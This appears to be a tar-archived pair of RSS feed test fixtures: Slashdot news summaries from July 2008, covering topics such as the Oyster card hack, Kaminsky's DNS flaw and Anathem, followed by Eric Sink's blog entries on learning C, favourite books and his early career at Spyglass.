href="http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/1434246"></a></p><p><a href="http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=lHlzdp"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=lHlzdp" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342614371" height="1" width="1"/> timothy 2008-07-22T14:48:00+00:00 court laundering-is-just-a-bad-word-for-privacy yro 22 22,19,14,8,4,2,2 http://yro.slashdot.org/article.pl?sid=08/07/22/1434246&from=rss Neal Stephenson's "Anathem" Due In September http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342567922/article.pl Alexander Rose writes "Neal Stephenson's new novel, ANATHEM, germinated in 01999 when Danny Hillis asked him and several other contributors to sketch out their ideas of what the Millennium Clock might look like. Stephenson tossed off a quick sketch and promptly forgot about it. Five years later however, when he was between projects, the idea came back to him, and he began to explore the possibility of building a novel around it. ANATHEM is the result, and will be released on September 9th, 02008." Read Rose's complete posting for more information about the release of the book, which he describes as set "in a genre bending alt-future-retro world where mechani-punk technology meets space opera in a blend of the best of Snow Crash and the Baroque Cycle."<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/1259253"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=0TYu30"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=0TYu30" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342567922" height="1" width="1"/> timothy 2008-07-22T14:00:00+00:00 books not-a-moment-too-soon entertainment 66 66,65,57,38,9,2,1 http://entertainment.slashdot.org/article.pl?sid=08/07/22/1259253&from=rss Oyster Card Hack To Be Released, In Good Time http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342533397/article.pl DangerFace writes "A little while ago some Dutch researchers cracked the Oyster card, meaning they could get free public transport around London. The company that makes the cards, NXP, sought and got an injunction to stop the exploit being published, but that has now been overruled by a Dutch judge. The lovely Dutch blokes are holding off from releasing the hack for the time being, to give NXP time to secure their systems."<p><a href="http://it.slashdot.org/article.pl?sid=08/07/22/1242251&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/1242251"></a></p><p><a href="http://it.slashdot.org/article.pl?sid=08/07/22/1242251&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=0Gw7Ca"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=0Gw7Ca" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342533397" height="1" width="1"/> timothy 2008-07-22T13:09:00+00:00 security crackers-don't-follow-injunctions it 107 107,104,88,67,26,17,11 http://it.slashdot.org/article.pl?sid=08/07/22/1242251&from=rss TechCrunch Wants To Create an Open Source Tablet http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342499265/article.pl RKo618 writes "TechCrunch announced that they are planning to design their own $200 web tablet device. Quoting: 'The idea is to turn it on, bypass any desktop interface, and go directly to Firefox running in a modified Kiosk mode that effectively turns the browser into the operating system for the device. Add Gears for offline syncing of Google docs, email, etc., and Skype for communication and you have a machine that will be almost as useful as a desktop but cheaper and more portable than any laptop or tablet PC.' The aim is for the tablet to run on modified open source software, which will be released back to the community along with the specifications for the hardware."<p><a href="http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/050233"></a></p><p><a href="http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=ytu2WI"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=ytu2WI" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342499265" height="1" width="1"/> Soulskill 2008-07-22T12:20:00+00:00 portables i-prefer-gelcaps mobile 92 92,91,77,56,18,10,6 http://mobile.slashdot.org/article.pl?sid=08/07/22/050233&from=rss How To Encourage a Young Teen To Learn Programming? http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342391626/article.pl Anonymous Hacker writes "I'm in a bit of a bind. My young teenage son is starting to get curious about computers, and in particular, programming. Now, I'm a long time kernel hacker (Linux, BSD and UNIX). I have no trouble handling some of the more obscure things in the kernel. But teaching is not something that I'm good at, by any means. Heck, I can't even write useful documentation for non-techies. So my question is: what's the best way to encourage his curiosity and enable him to learn? Now, I know there are folks out there with far better experience in this area than myself. I'd really appreciate any wisdom you can offer. I'd also be especially interested in what younger people think, in particular those who are currently in college or high school. I've shown my son some of the basics of the shell, the filesystem, and even how to do a 'Hello World' program in C. Yet, I have to wonder if this is the really the right approach. This was great when I was first learning things. And it still is for kernel hacking, and other things. But I'm concerned whether this will bore him, now that there's so much more available and much of this world is oriented towards point-n-click. What's the best way to for a young teen to get started in exploring this wonderful world of computers and learning how to program? In a *NIX environment, preferably." Whether or not you have suggestions for generating interest or teaching methods, there was probably something that first piqued your curiosity. It seems like a lot of people get into programming by just wondering how something works or what they can make it do. So, what caught your eye?<p><a href="http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0452225"></a></p><p><a href="http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=iiGcl4"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=iiGcl4" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342391626" height="1" width="1"/> Soulskill 2008-07-22T09:11:00+00:00 programming electroshock askslashdot 653 653,648,463,260,65,39,21 http://ask.slashdot.org/article.pl?sid=08/07/22/0452225&from=rss Consumer 3D Television Moving Forward http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342266944/article.pl TheSync writes "Hollywood Reporter claims that SMPTE (the Society of Motion Picture and Television Engineers) will 'establish an industry task force to define the parameters of a mastering standard for 3D content distributed via broadcast, cable, satellite, packaged media and the Internet, and played-out on televisions, computer screens and other tethered displays.' Already, Japanese Nippon BS viewers with Hyundai 3D LCD sets can watch an hour of 3D programming daily. Even your existing DLP TV set might be 3D capable today with the addition of LCD shutter glasses." Reader DaMan1970 makes note of another developing television technology; telescopic pixel displays. "Each pixel consists of 2 opposing mirrors where the primary mirror can change shape under an applied voltage. When the pixel is off, the primary &amp; secondary mirrors are parallel &amp; reflect all of the incoming light back into the light source."<p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0241221"></a></p><p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=XAdyOR"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=XAdyOR" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342266944" height="1" width="1"/> Soulskill 2008-07-22T06:02:00+00:00 tv don't-tag-this-porn tech 86 86,84,73,58,23,8,4 http://tech.slashdot.org/article.pl?sid=08/07/22/0241221&from=rss Floating Cities On Venus http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342195089/article.pl Geoffrey.landis writes "Some of you may have heard me talk about colonizing Venus. Well, for those who haven't, Universe Today is running story about floating cities on Venus. It's a reasonable alternative for space colonies &mdash; after all, the atmosphere of Venus (at about 50 km) is the most Earth-like environment in the solar system (other than Earth, of course). '50 km above the surface, Venus has air pressure of approximately 1 bar and temperatures in the 0C-50C range, a quite comfortable environment for humans. Humans wouldn't require pressurized suits when outside, but it wouldn't quite be a shirtsleeves environment. We'd need air to breathe and protection from the sulfuric acid in the atmosphere.'"<p><a href="http://science.slashdot.org/article.pl?sid=08/07/22/0040202&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0040202"></a></p><p><a href="http://science.slashdot.org/article.pl?sid=08/07/22/0040202&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=XvkiIw"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=XvkiIw" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342195089" height="1" width="1"/> Soulskill 2008-07-22T03:58:00+00:00 space brain-candy science 350 350,348,299,237,80,42,28 http://science.slashdot.org/article.pl?sid=08/07/22/0040202&from=rss Firefox's Effect On Other Browsers http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342106311/article.pl An anonymous reader points out an interview with Mozilla's "evangelist," Christopher Blizzard, regarding the future of Firefox and how it affects other browsers. It's an Austrian site, so forgive the comma abuse. From derStandard: "It's sort of interesting though, part of our strategy is to make sure, that we continue making change and the indirect effect of this is that Microsoft continues to have to do releases, because if we get so far ahead that we're able to drive the platform they are not able to keep up and keep their users. I mean, we have this joke which says 'Internet Explorer 7 is the best release we ever did,' because they would not have done it, if we would have not built Firefox. And the same is true for Apple, they are doing a lot to keep up with us. Safari 3.1 is a good example, as far as we see it, the only reason they did this release was that Firefox 3 would come out and have Javascript speed which would be twice as fast as theirs, cause that's how it was before. So by pushing other people to make releases we can go on our mission to make sure the web stays healthy."<p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/22/0012210"></a></p><p><a href="http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=3588NM"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=3588NM" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342106311" height="1" width="1"/> Soulskill 2008-07-22T01:59:00+00:00 mozilla driving-the-market tech 365 365,357,301,221,76,43,33 http://tech.slashdot.org/article.pl?sid=08/07/22/0012210&from=rss Switching To Solar Power &ndash; One Month Later http://rss.slashdot.org/~r/Slashdot/slashdot/~3/342022797/article.pl ThinSkin writes "After an interesting article on solar panel installation for the home, Loyd Case at ExtremeTech has written a follow-up after about a month of normal use. Posting an $11.34 electric bill (roughly 3% of previous months), Loyd shares his experiences using solar power and how it can be fun for the geek, with computer monitoring services and power generation data. Of course, solar power isn't all fun and games, given the amount of required maintenance &mdash; even unpredictable maintenance, like wiping off accumulated ash from fires in Northern California."<p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/2310208"></a></p><p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=2DKpsw"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=2DKpsw" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/342022797" height="1" width="1"/> Soulskill 2008-07-21T23:51:00+00:00 power bright-idea hardware 490 490,485,409,314,97,56,39 http://hardware.slashdot.org/article.pl?sid=08/07/21/2310208&from=rss Kaminsky's DNS Attack Disclosed, Then Pulled http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341979589/article.pl An anonymous reader writes "Reverse engineering expert Halver Flake has recently mused on Dan Kaminsky's DNS vulnerability. Apparently his musings were close enough to the mark to cause one of the Matasano team, who apparently already knew of the attack, to publish the details on the Matasano blog in a post entitled 'Reliable DNS Forgery in 2008.' The blog post has since been pulled, but evidence of it exists on Google and elsewhere. It appears only a matter of time now before the full details leak." Reader Time out contributes a link to coverage on ZDNet as well.<p><a href="http://it.slashdot.org/article.pl?sid=08/07/21/2212227&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/2212227"></a></p><p><a href="http://it.slashdot.org/article.pl?sid=08/07/21/2212227&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=KMUG5U"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=KMUG5U" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341979589" height="1" width="1"/> Soulskill 2008-07-21T23:00:00+00:00 security can-of-worms it 203 203,199,165,123,49,29,19 http://it.slashdot.org/article.pl?sid=08/07/21/2212227&from=rss IT Jobs To Drop In 2009 http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341958675/article.pl ruphus13 writes "A new Goldman Sachs IT report recently released states that IT jobs will be dramatically reduced in 2009, starting with contract and offshore developers. From the article: 'Sharp reductions likely in contract staff, professional services and hardware, and almost no investment in cloud computing.' The article goes on to say 'The CIOs indicated that server virtualization and server consolidation are their No. 1 and No. 2 priorities. Following these two are cost-cutting, application integration, and data center consolidation. At the bottom of the list of IT priorities are grid computing, open-source software, content management and cloud computing (called on-demand/utility computing in the survey) &mdash; less than 2% of the respondents said cloud computing was a priority.' Postulating a 'pointy haired boss' problem, an analyst goes on to say, '[Grid computing, Open Source and Cloud computing] require a technical understanding to get to their importance. I don't think C-level executives and managers have that understanding.' But they do control the paychecks ..."<p><a href="http://slashdot.org/article.pl?sid=08/07/21/2037204&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/2037204"></a></p><p><a href="http://slashdot.org/article.pl?sid=08/07/21/2037204&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=Ykg2GY"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=Ykg2GY" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341958675" height="1" width="1"/> CmdrTaco 2008-07-21T22:15:00+00:00 business gonna-get-worse-before-it-gets-better mainpage 296 296,288,236,173,67,41,24 http://slashdot.org/article.pl?sid=08/07/21/2037204&from=rss NIA Brain-Computer Interface, Mind-Control Gaming http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341929247/article.pl MojoKid writes "Sunnyvale-based manufacturer OCZ Technology has laid claim to being the first to bring a 'brain-computer' interface to the retail market and they have aimed it squarely at the gamer. The device is called the NIA, which is an acronym that stands for Neural Impulse Actuator. Instead of buttons, sticks, gyroscopes or motion sensors, it reads the body's natural bio-signals and translates them into commands that can be used to control PC games. This evaluation of the NIA shows the product actually works as advertised, with a little practice. It can, in some cases, offer reaction times superior to standard controllers, based on faster trigger response time, and the difference is quite noticeable and immediate."<p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1926251"></a></p><p><a href="http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=muegSL"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=muegSL" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341929247" height="1" width="1"/> CmdrTaco 2008-07-21T21:35:00+00:00 inputdev and-it-melts-your-brain hardware 76 76,72,59,28,12,8,6 http://hardware.slashdot.org/article.pl?sid=08/07/21/1926251&from=rss 2008 Pwnie Award Nominees Announced http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341897151/article.pl ruphus13 writes "The Pwnie Awards, an 'annual awards ceremony celebrating and making fun of the achievements and failures of security researchers and the wider security community' announced their 2008 nominees. From their site, 'The final list of nominees for the nine Pwnie Award categories is finally published. We've received some really good submissions and it was not an easy task to narrow them down to five nominees per category, but we hope that we've done a good job. The next step for the Pwnie Awards judges will gather in an undisclosed location prior to the award ceremony and vote on the winners.'"<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1923237"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=k6T7QB"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=k6T7QB" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341897151" height="1" width="1"/> CmdrTaco 2008-07-21T20:51:00+00:00 humor my-little-pwnie entertainment 70 70,68,54,41,23,18,13 http://entertainment.slashdot.org/article.pl?sid=08/07/21/1923237&from=rss Watchmen Movie Trailer Is Out http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341852963/article.pl I forgot to mention the other bit of exciting comic book movie news this week: DaSpudMan noted that the Watchmen trailer is out &mdash; from the Director of 300, which spawns mixed feelings at our office. But it looks pretty good.<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1855204"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=n2mTWh"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=n2mTWh" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341852963" height="1" width="1"/> CmdrTaco 2008-07-21T19:53:00+00:00 movies stuff-to-see entertainment 235 235,231,189,144,47,21,11 http://entertainment.slashdot.org/article.pl?sid=08/07/21/1855204&from=rss Inside the Lego Factory http://rss.slashdot.org/~r/Slashdot/slashdot/~3/341809160/article.pl An anonymous reader writes "Gizmodo has a fascinating report and video tour inside the Lego factory, which is full of robots and controlled by a mainframe. 'This video shows something that very few people have had the opportunity to witness: the inside of the Lego factory, with no barriers or secrets. I filmed every step in the creation of the brick. From the raw granulate stored in massive silos to the molding machines to the gigantic storage cathedrals to the decoration and packaging warehouses, you will be able to see absolutely everything, including the most guarded secret of the company: the brick molds themselves.'"<p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&amp;from=rss"><img src="http://slashdot.org/slashdot-it.pl?from=rss&amp;op=image&amp;style=h0&amp;sid=08/07/21/1716239"></a></p><p><a href="http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&amp;from=rss">Read more of this story</a> at Slashdot.</p> <p><a href="http://rss.slashdot.org/~a/Slashdot/slashdot?a=XDTIK6"><img src="http://rss.slashdot.org/~a/Slashdot/slashdot?i=XDTIK6" border="0"></img></a></p><img src="http://rss.slashdot.org/~r/Slashdot/slashdot/~4/341809160" height="1" width="1"/> CmdrTaco 2008-07-21T19:05:00+00:00 toy when-i-was-a-kid-there-were-only-2-kinds-of-bricks entertainment 232 232,228,202,150,55,36,23 http://entertainment.slashdot.org/article.pl?sid=08/07/21/1716239&from=rss Search Slashdot Search Slashdot stories query http://slashdot.org/search.pl Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-software.ericsink.com-rss.xml0000664000175000017500000015746712653701626026557 0ustar janjan Eric.Weblog() http://software.ericsink.com/ Thoughts about software from yet another person who invented the Internet Copyright 2001-2008 Eric Sink. All Rights Reserved mine Summer Movies http://software.ericsink.com/entries/summer_movies.html http://software.ericsink.com/entries/summer_movies.html Mon, 21 Jul 2008 11:18:24 CST This weekend I saw Wall-E and The Dark Knight, both of which are just amazingly good.  Lately I'm thinking this may be the best summer of movies ever.

    Compared to cinematic masterpieces such as these, Paul Roub's recent videos are kind of lame.  His plot and characters are really anemic.  I need to talk to him about somehow working in a car chase scene and more explosions.

    :-)

    Seriously, Paul has been making some short videos to offer a different way of talking about our products.  His latest one is my favorite:  In order to show how quick and easy it is to setup SourceGear Fortress, this video shows every step of the install from start to finish.  The video is 3 minutes and 12 seconds long.

    These movies aren't exactly Iron Man, but they're still pretty cool.

    ]]>     C and Morse Code http://software.ericsink.com/entries/c_morse_code.html http://software.ericsink.com/entries/c_morse_code.html Fri, 23 May 2008 06:40:16 CST Darren Stokes sides with Joel over Jeff on whether programmers should know C.

    This whole debate reminds me of amateur radio operators bickering over whether newbies should be allowed to get a license without learning Morse code.

    Morse Code

    So Eric, tell us about your experience as an amateur "ham" radio operator?

    My call sign is KA9KEF.  To get my General class license, I had to pass a written exam as well as a Morse code test at 13 words per minute.

    Really, you know Morse code?  Nowadays, it's possible to get a ham radio license with no code at all. 

    Yes, and I think that's outrageous!  It's just wrong.

    Why do you think that?

    If I had to learn Morse code, then everybody else should too.

    So does anybody really need Morse code these days?

    Well, I suppose not.  But don't pester me with facts that distract from my point.  Learning Morse code should be a rite of passage for all hams.  Anybody who got a license without code is not a "real ham".

    But you -- you are a "real ham".

    Yep.  I passed the Morse code test.  13 wpm.

    So you're still actively involved in amateur radio?

    Well, no.

    Oh.  When was the last time you used your ham rig?

    I suppose it's been a few years.

    How many years are in "a few"?  Maybe five?

    More like twenty.

    Twenty years? 

    Twenty-three, actually.

    And you still have your amateur radio equipment?

    Well, no.  I sold my station a long time ago.

    OK, let's review.  You're a "real ham", even though everything you know about ham radio is two decades out of date.  But the guys who got a "no code" license and are actively practicing the hobby today, they're somehow not "real"?

    That's right.  I know Morse code.  They don't.

    So you think all ham radio operators should be required to learn a basically useless skill simply because you did?

    Exactly!  And don't ask me to get down from my high horse.  I like it up here.

    C

    The argument about whether programmers need to know C is just so similar.

    All of the people arguing that C is important are the people who have already learned it.  I'm pretty sure that a lot of their argument is resting on the same foundation as those crotchety old hams:  "If I had to learn C, then everybody else should too."

    I am one of those people.  Yep, not only am I a Morse code bigot, I'm a C bigot as well.

    I learned C, and I learned it good.  I've worked on multiple significant C projects.  I even wrote a C compiler.  In C.  I think all "real programmers" know C.

    Yep, we C programmers are elitist and proud of it.  The view from up here on our high horse is pretty good.  We see lots of so-called programmers down there:

    • They don't really know what a pointer is.
    • They're not even using a real compiler!  That thing they're using doesn't even generate native code you know.  It's "byte code", so it's not real.
    • Those people have never had to manage their own memory.
    • In fact, they've never really had to do anything at all.  I mean really.  They're building on a class library that's got more features in it than Photoshop.

    We are different.  We learned C.  We are "real programmers".

    One big difference

    What's the main difference between hams who know Morse code and programmers know C?

    The C programmers actually have a point.

    Seriously, strip away all the elitism and see what's left.  Morse code is nearly useless, but C is still darn important whether you're using it or not.

    And a lot of people are still using it, by the way.  Don't think of C as merely "important historical and foundational background".  In fact, my current project is being written in C.  Software development today is a big field.  There are still many problems for which C is the best solution.

    But even if you're coding in something higher level, the experience of using low-level programming techniques is invaluable.

    I'm not going to take a black-and-white stance on this.  I won't go so far as to say that every developer must learn C.  I've met lots of developers without C experience who are successful and making positive contributions to important software projects.

    Furthermore, I'll admit that knowing C is not a magic solution to poor skills.  A lousy developer who happens to know C is simply better equipped to hurt himself or somebody nearby.

    However, I can say these two things:

    1. All of the truly extraordinary developer s I know are people who really understand the kind of low-level details that C forces you to know.
    2. Every programmer without C experience has a clear path of personal development:  Learn C.  Get some real experience using C to write a serious piece of software.  Even if you never use it again, you'll be a better programmer when you're done.

    ]]>     My Favorite Books http://software.ericsink.com/articles/books.html http://software.ericsink.com/articles/books.html Thu, 22 May 2008 08:00:00 CST People often ask me for a list of my favorite books.  So here it is. 

    I reserve the right to update this list from time to time.

    I tend to read a lot of stuff.  The fact that I recommend a book here does not mean that I agree with everything in it.

    Coding

    I think it's out of print, but I really liked Writing Solid Code.  It's very oriented toward C/C++, so if you're mostly in C#/Java/Ruby/Python/Perl/VB, it may not be worth your time.  Still, it's an outstanding book.

    And of course Code Complete is a classic.

    Software Management

    Dynamics of Software Development is one of my favorites.

    Business

    I'm a big fan of Built to Last and its sequel, Good to Great.  The sequel is easier to read and a bit more relevant to smaller companies.

    The Silicon Valley Way is a great book, and it's a very visual book with nice short chapters.  Easy to just pick up and browse..

    If you get the opportunity, go hear Guy Kawasaki speak.  He's much better in person than he is on paper.  But if that doesn't work out, Rules for Revolutionaries is a good read.

    Marketing

    If you read only one book on marketing, it should be Crossing the Chasm.

    But actually you should read at least a dozen books on marketing. 

    Here's your second one:  Differentiate or Die

    Now go find ten more.

    Sales

    I think Selling the Wheel is an outstanding book.  At first you'll be tempted to stop because it's kind of cheesy.  Don't.  Finish it all the way to the end.

    Useless but Enjoyable Fluff

    I really like the "Prey" series of novels by John Sandford.  Start at the beginning with Rules of Prey

    WPF

    I have all of the following WPF books:

    These are all good, each in a different way.  If you're going to do anything serious with WPF, it seems to me that you should own them all.

    Other Stuff

    The Seven Habits of Highly Effective People is still worth reading.  None of Covey's other books are nearly as good.

    Any serious pool player has a copy of Byrne's New Standard Book of Pool and Billiards.

    My favorite literary novel is The Count of Monte Cristo.  The unabridged version is worth the extra trouble.

    For dog lovers, Marley & Me is terrific.

    ]]>     Yesterday's entry: A comment and a correction http://software.ericsink.com/entries/ethics.html http://software.ericsink.com/entries/ethics.html Wed, 21 May 2008 08:33:06 CST The Comment

    I've received a lot of feedback on yesterday's blog entry.  The two most common questions are:

    • Eric, why did you think that working on your Scrabble project was wrong?  It doesn't seem all that bad.
    • And since you thought it was so awful, can we assume that you would go ballistic if someone in your company was working on a pet project at the office?

    I sort of figured that if I wrote an article about a software manager that I really admire, I didn't need to address the question of how I would react in a similar situation.  It should be fairly simple to connect the dots.

    But folks are having trouble with the fact that I held such a strict attitude about my own transgression.  They assume that I would be similarly draconian with others.  A fair assumption I suppose, but an incorrect one.

    When it comes to ethics, most people treat themselves loosely and other strictly.  Instead, try being strict with yourself and gracious toward others.  You'll get along a lot better with the world.

    Do I really believe that working on a fun personal project at work is such a heinous crime?  Certainly not.  But surely you can agree that goofing off and trying to cover it up isn't exactly the way to win the employee of the month award?

    The truth is that I just don't believe in making excuses.  I'm not going to defend myself unless I have solid possession of the moral high ground.

    My kids read this blog.  I'm trying to teach them to take responsibility for all their choices, good and bad, big and small.  How can I do that if I'm not willing to set the example?

    If I found somebody in my company working on a pet project at work, I imagine I would handle it pretty much like Tim did:  I would be more disappointed in the company than in the individual.  If people are working on hobby code, then they're bored.  In my opinion, the blame for a bored employee splits about 80/20 toward management.

    The Correction

    Tim's current car is a Lamborghini, not a Ferrari.

    ]]>     Choose Your Manager http://software.ericsink.com/entries/scrabble_1994.html http://software.ericsink.com/entries/scrabble_1994.html Tue, 20 May 2008 08:00:00 CST The Context:  Being a slacker

    In the early months of 1994 I wrote a program to play Scrabble.

    It was a magnificent piece of code, easily the fastest Scrabble program I had ever seen.  The implementation (in C) was based on the GADDAG data structure and algorithm explained in a paper by Steven Gordon.  The resulting program was so fast that computer moves were instantaneous.

    Unfortunately I had to keep my software a secret.  The lawyers at Hasbro love to send nastygrams to anyone who implements a Scrabble program.  These guys are a lot like the lawyers at the RIAA who have become famous for their lawsuits against toddlers and family pets.  The Hasbro legal team is merely less prolific.

    Actually there was one other reason why I kept my Scrabble program a secret:

    I wrote the entire thing on company time using my employer's hardware.

    At the time I was working for Spyglass.  We had recently finished shipping version 2.0 of our flagship product, Spyglass Transform.  Things were a bit slow, so I was discreetly hacking on my pet project.  I setup my office such that nobody could see my screen from the door.

    Unfortunately, I gave myself away.  At times when I was working on my Scrabble code when my boss (Tim Krauskopf) walked in the door, I would flinch and quickly try to minimize the window.  About the third time it happened, Tim said, "All right, what game are you playing?"  Suddenly I wished I actually was playing something like Doom.  In that moment, working on non-company software seemed more shameful than wasting time in a first-person shooter.

    I offered a full confession and an apology. 

    I don't remember what he said. 

    I do remember that he never mentioned it again.

    The Inflection Point:  Day 1 of the browser wars

    A few weeks later, on April 4th, 1994, Tim once again stepped into my office.  He said he needed to talk with me somewhere offsite.  We left.

    In that conversation, Tim told me that the Spyglass management team was making the decision to abandon our then current business (scientific data visualization tools) and get into the web browser business.  He asked me to immediately begin working and commit to giving a demo to an important potential customer a few weeks later.

    I shifted into high gear.  I came in at 5:30 am every day for weeks.  I was writing code at a fantastic pace.  The demo was successful.  We showed them our browser.  It didn't have as many features as NCSA Mosaic, but it was a lot faster.  We didn't tell them that it was written from scratch in less than a month by a kid who had never written any networking code before.  We got the sale.

    And that was just the beginning.  The project started out with me alone, but two years later it was a team of 50 with me in a leadership role.  We were the first Internet IPO.  We licensed our browser to Microsoft and it became Internet Explorer.

    That conversation on April 4th ended up being a defining moment for my career.  And it happened just a few weeks after Tim caught me skiving off on the job.

    What the %#$@ was Tim thinking?

    The Premise:  Tim made a wise choice

    I'm going to surface a lesson from this story, but you should probably read no further if you disagree with Tim's decision.

